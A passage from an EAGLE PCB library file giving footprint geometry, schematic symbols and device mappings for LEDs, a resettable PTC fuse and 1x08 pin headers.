width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.905\" x2=\"2.54\" y2=\"1.905\" width=\"0.254\" layer=\"21\" curve=\"-286.260205\" cap=\"flat\"/>\n<wire x1=\"-1.143\" y1=\"0\" x2=\"0\" y2=\"1.143\" width=\"0.1524\" layer=\"51\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-1.143\" x2=\"1.143\" y2=\"0\" width=\"0.1524\" layer=\"51\" curve=\"90\" cap=\"flat\"/>\n<wire x1=\"-1.651\" y1=\"0\" x2=\"0\" y2=\"1.651\" width=\"0.1524\" layer=\"51\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-1.651\" x2=\"1.651\" y2=\"0\" width=\"0.1524\" layer=\"51\" curve=\"90\" cap=\"flat\"/>\n<wire x1=\"-2.159\" y1=\"0\" x2=\"0\" y2=\"2.159\" width=\"0.1524\" layer=\"51\" curve=\"-90\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-2.159\" x2=\"2.159\" y2=\"0\" width=\"0.1524\" layer=\"51\" curve=\"90\" cap=\"flat\"/>\n<circle x=\"0\" y=\"0\" radius=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"A\" x=\"-1.27\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"K\" x=\"1.27\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"3.175\" y=\"0.5334\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"3.2004\" y=\"-1.8034\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"LED-1206\">\n<wire x1=\"-1\" y1=\"1\" x2=\"-2.4\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"1\" x2=\"-2.4\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"-1\" x2=\"-1\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1\" y1=\"1\" x2=\"2.4\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.4\" y1=\"1\" x2=\"2.4\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.4\" y1=\"-1\" x2=\"1\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.3\" y1=\"0.7\" x2=\"0.3\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.3\" y1=\"0\" x2=\"0.3\" y2=\"-0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.3\" y1=\"0\" x2=\"-0.3\" y2=\"0.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"0.6\" x2=\"-0.3\" y2=\"-0.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"-0.6\" x2=\"0.3\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"A\" x=\"-1.5\" y=\"0\" dx=\"1.2\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"C\" x=\"1.5\" y=\"0\" dx=\"1.2\" dy=\"1.4\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"1.397\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.778\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"LED-0603\">\n<wire x1=\"0.46\" y1=\"0.17\" x2=\"0\" y2=\"0.17\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.46\" y1=\"0.17\" x2=\"0\" y2=\"0.17\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0.17\" x2=\"0.31\" y2=\"-0.14\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0.18\" x2=\"-0.32\" y2=\"-0.14\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.32\" y1=\"-0.14\" x2=\"0.31\" y2=\"-0.14\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"C\" x=\"0\" y=\"0.75\" dx=\"0.8\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"A\" x=\"0\" y=\"-0.75\" dx=\"0.8\" dy=\"0.8\" layer=\"1\"/>\n<text x=\"-0.6985\" y=\"-0.889\" size=\"0.4064\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"1.0795\" y=\"-1.016\" size=\"0.4064\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"LED10MM\">\n<wire x1=\"-5\" y1=\"-2\" x2=\"-5\" y2=\"2\" width=\"0.2032\" layer=\"21\" curve=\"316.862624\"/>\n<wire x1=\"-5\" y1=\"2\" x2=\"-5\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"A\" x=\"2.54\" y=\"0\" drill=\"1.2\"/>\n<pad name=\"C\" x=\"-2.54\" y=\"0\" drill=\"1.2\" shape=\"square\"/>\n</package>\n<package name=\"LED3MM\">\n<description>&lt;B&gt;LED&lt;/B&gt;&lt;p&gt;\n3 mm, round</description>\n<wire x1=\"1.5748\" y1=\"-1.27\" x2=\"1.5748\" y2=\"1.27\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0\" y1=\"2.032\" x2=\"1.561\" y2=\"1.3009\" width=\"0.254\" layer=\"21\" curve=\"-50.193108\" cap=\"flat\"/>\n<wire x1=\"-1.7929\" y1=\"0.9562\" x2=\"0\" y2=\"2.032\" width=\"0.254\" layer=\"21\" curve=\"-61.926949\" cap=\"flat\"/>\n<wire x1=\"0\" y1=\"-2.032\" x2=\"1.5512\" y2=\"-1.3126\" width=\"0.254\" layer=\"21\" curve=\"49.763022\" cap=\"flat\"/>\n<wire x1=\"-1.7643\" y1=\"-1.0082\" x2=\"0\" y2=\"-2.032\" width=\"0.254\" layer=\"21\" curve=\"60.255215\" cap=\"flat\"/>\n<wire x1=\"-2.032\" y1=\"0\" x2=\"-1.7891\" y2=\"0.9634\" width=\"0.254\" layer=\"51\" curve=\"-28.301701\" cap=\"flat\"/>\n<wire x1=\"-2.032\" y1=\"0\" x2=\"-1.7306\" y2=\"-1.065\" width=\"0.254\" layer=\"51\" curve=\"31.60822\" cap=\"flat\"/>\n<wire x1=\"1.5748\" y1=\"1.2954\" x2=\"1.5748\" y2=\"0.8674\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.5748\" y1=\"-1.2954\" x2=\"1.5748\" y2=\"-0.8582\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"A\" x=\"-1.27\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"K\" x=\"1.27\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"1.905\" y=\"0.381\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"1.905\" y=\"-1.651\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"PTC\">\n<wire x1=\"-3.81\" y1=\"1.524\" x2=\"3.81\" y2=\"1.524\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"1.524\" x2=\"3.81\" y2=\"-1.524\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-1.524\" x2=\"-3.81\" y2=\"-1.524\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-1.524\" x2=\"-3.81\" y2=\"1.524\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"-2.54\" y=\"0\" drill=\"0.8\"/>\n<pad name=\"P$2\" x=\"2.54\" y=\"0\" drill=\"0.8\"/>\n</package>\n<package name=\"PTC-1206\">\n<wire x1=\"-1.5\" y1=\"0.75\" x2=\"1.5\" y2=\"0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.5\" y1=\"0.75\" x2=\"1.5\" y2=\"-0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.5\" y1=\"-0.75\" x2=\"-1.5\" y2=\"-0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.5\" y1=\"-0.75\" x2=\"-1.5\" y2=\"0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"-0.762\" x2=\"-0.635\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.762\" x2=\"0.635\" y2=\"0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"-1.016\" x2=\"0.254\" y2=\"1.016\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0.254\" y1=\"1.016\" x2=\"1.143\" y2=\"1.016\" width=\"0.127\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.524\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.524\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"0603\">\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"0.4064\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.143\" size=\"0.4064\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"LED\">\n<wire x1=\"1.27\" y1=\"0\" x2=\"0\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"-2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.032\" y1=\"-0.762\" x2=\"-3.429\" y2=\"-2.159\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-1.905\" y1=\"-1.905\" x2=\"-3.302\" y2=\"-3.302\" width=\"0.1524\" layer=\"94\"/>\n<text x=\"3.556\" y=\"-4.572\" size=\"1.778\" layer=\"95\" rot=\"R90\">&gt;NAME</text>\n<text x=\"5.715\" y=\"-4.572\" size=\"1.778\" layer=\"96\" rot=\"R90\">&gt;VALUE</text>\n<pin name=\"C\" x=\"0\" y=\"-5.08\" visible=\"off\" length=\"short\" direction=\"pas\" rot=\"R90\"/>\n<pin name=\"A\" x=\"0\" y=\"2.54\" visible=\"off\" length=\"short\" direction=\"pas\" rot=\"R270\"/>\n<polygon width=\"0.1524\" layer=\"94\">\n<vertex x=\"-3.429\" y=\"-2.159\"/>\n<vertex x=\"-3.048\" y=\"-1.27\"/>\n<vertex x=\"-2.54\" y=\"-1.778\"/>\n</polygon>\n<polygon width=\"0.1524\" layer=\"94\">\n<vertex x=\"-3.302\" y=\"-3.302\"/>\n<vertex x=\"-2.921\" y=\"-2.413\"/>\n<vertex x=\"-2.413\" y=\"-2.921\"/>\n</polygon>\n</symbol>\n<symbol name=\"PTC\">\n<wire x1=\"5.08\" y1=\"1.27\" x2=\"5.08\" y2=\"-1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"5.08\" y1=\"-1.27\" x2=\"-2.54\" y2=\"-1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-1.27\" x2=\"-2.54\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"1.27\" x2=\"5.08\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.524\" y1=\"-2.54\" x2=\"3.81\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"3.81\" y1=\"2.54\" x2=\"5.08\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"3.048\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-3.302\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-5.08\" y=\"0\" visible=\"off\" length=\"short\"/>\n<pin name=\"2\" x=\"7.62\" y=\"0\" visible=\"off\" length=\"short\" rot=\"R180\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"LED\" prefix=\"LED\" uservalue=\"yes\">\n<description>&lt;b&gt;LEDs&lt;/b&gt;\nStandard schematic elements and footprints for 5mm, 3mm, 1206, and 0603 sized LEDs. 5mm - Spark Fun Electronics SKU : COM-00529 (and others)</description>\n<gates>\n<gate name=\"G$1\" symbol=\"LED\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"5MM\" package=\"LED5MM\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"K\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3MM\" package=\"LED3MM\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"K\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1206\" package=\"LED-1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0603\" package=\"LED-0603\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"10MM\" package=\"LED10MM\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"PTC\" prefix=\"F\">\n<description>&lt;b&gt;Resettable Fuse PTC&lt;/b&gt;\nResettable Fuse. Spark Fun Electronics SKU : COM-08357</description>\n<gates>\n<gate name=\"G$1\" symbol=\"PTC\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"PTH\" package=\"PTC\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SMD\" package=\"PTC-1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"0603\" package=\"0603\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SchmalzHaus\">\n<packages>\n<package name=\"1X08\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"4\" x=\"7.62\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"5\" x=\"10.16\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"6\" x=\"12.7\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"7\" x=\"15.24\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"8\" x=\"17.78\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"14.986\" y1=\"-0.254\" x2=\"15.494\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"12.446\" y1=\"-0.254\" x2=\"12.954\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"9.906\" y1=\"-0.254\" x2=\"10.414\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"7.366\" y1=\"-0.254\" x2=\"7.874\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"17.526\" y1=\"-0.254\" x2=\"18.034\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"1X08_LOCK\">\n<wire x1=\"14.605\" y1=\"1.27\" x2=\"15.875\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"15.875\" y1=\"1.27\" x2=\"16.51\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"16.51\" y1=\"-0.635\" x2=\"15.875\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"11.43\" y1=\"0.635\" x2=\"12.065\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"12.065\" y1=\"1.27\" x2=\"13.335\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"1.27\" x2=\"13.97\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.97\" y1=\"-0.635\" x2=\"13.335\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"-1.27\" x2=\"12.065\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"12.065\" y1=\"-1.27\" x2=\"11.43\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"14.605\" y1=\"1.27\" x2=\"13.97\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.97\" y1=\"-0.635\" x2=\"14.605\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"15.875\" y1=\"-1.27\" x2=\"14.605\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"1.27\" x2=\"8.255\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.27\" x2=\"8.89\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.89\" y1=\"-0.635\" x2=\"8.255\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.89\" y1=\"0.635\" x2=\"9.525\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.525\" y1=\"1.27\" x2=\"10.795\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"1.27\" x2=\"11.43\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"11.43\" y1=\"-0.635\" x2=\"10.795\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"-1.27\" x2=\"9.525\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.525\" y1=\"-1.27\" x2=\"8.89\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"4.445\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"1.27\" x2=\"5.715\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"6.35\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.635\" x2=\"5.715\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"-1.27\" x2=\"4.445\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-1.27\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"1.27\" x2=\"6.35\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.635\" x2=\"6.985\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"-1.27\" x2=\"6.985\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"17.145\" y1=\"1.27\" x2=\"18.415\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"18.415\" y1=\"1.27\" x2=\"19.05\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"0.635\" x2=\"19.05\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"19.05\" y1=\"-0.635\" x2=\"18.415\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"17.145\" y1=\"1.27\" x2=\"16.51\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"16.51\" y1=\"-0.635\" x2=\"17.145\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"18.415\" y1=\"-1.27\" x2=\"17.145\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"4\" x=\"7.62\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"5\" x=\"10.16\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"6\" x=\"12.7\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"7\" x=\"15.24\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"8\" x=\"17.78\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"14.986\" y1=\"-0.254\" x2=\"15.494\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"12.446\" y1=\"-0.254\" x2=\"12.954\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"9.906\" y1=\"-0.254\" x2=\"10.414\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"7.366\" y1=\"-0.254\" x2=\"7.874\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"17.526\" y1=\"-0.254\" x2=\"18.034\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"1X08_LOCK_LONGPADS\">\n<wire x1=\"1.524\" y1=\"0\" x2=\"1.016\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"0\" x2=\"3.556\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.604\" y1=\"0\" x2=\"6.096\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.144\" y1=\"0\" x2=\"8.636\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"11.684\" y1=\"0\" x2=\"11.176\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.9906\" x2=\"-0.9906\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.9906\" x2=\"-0.9906\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"14.224\" y1=\"0\" x2=\"13.716\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire 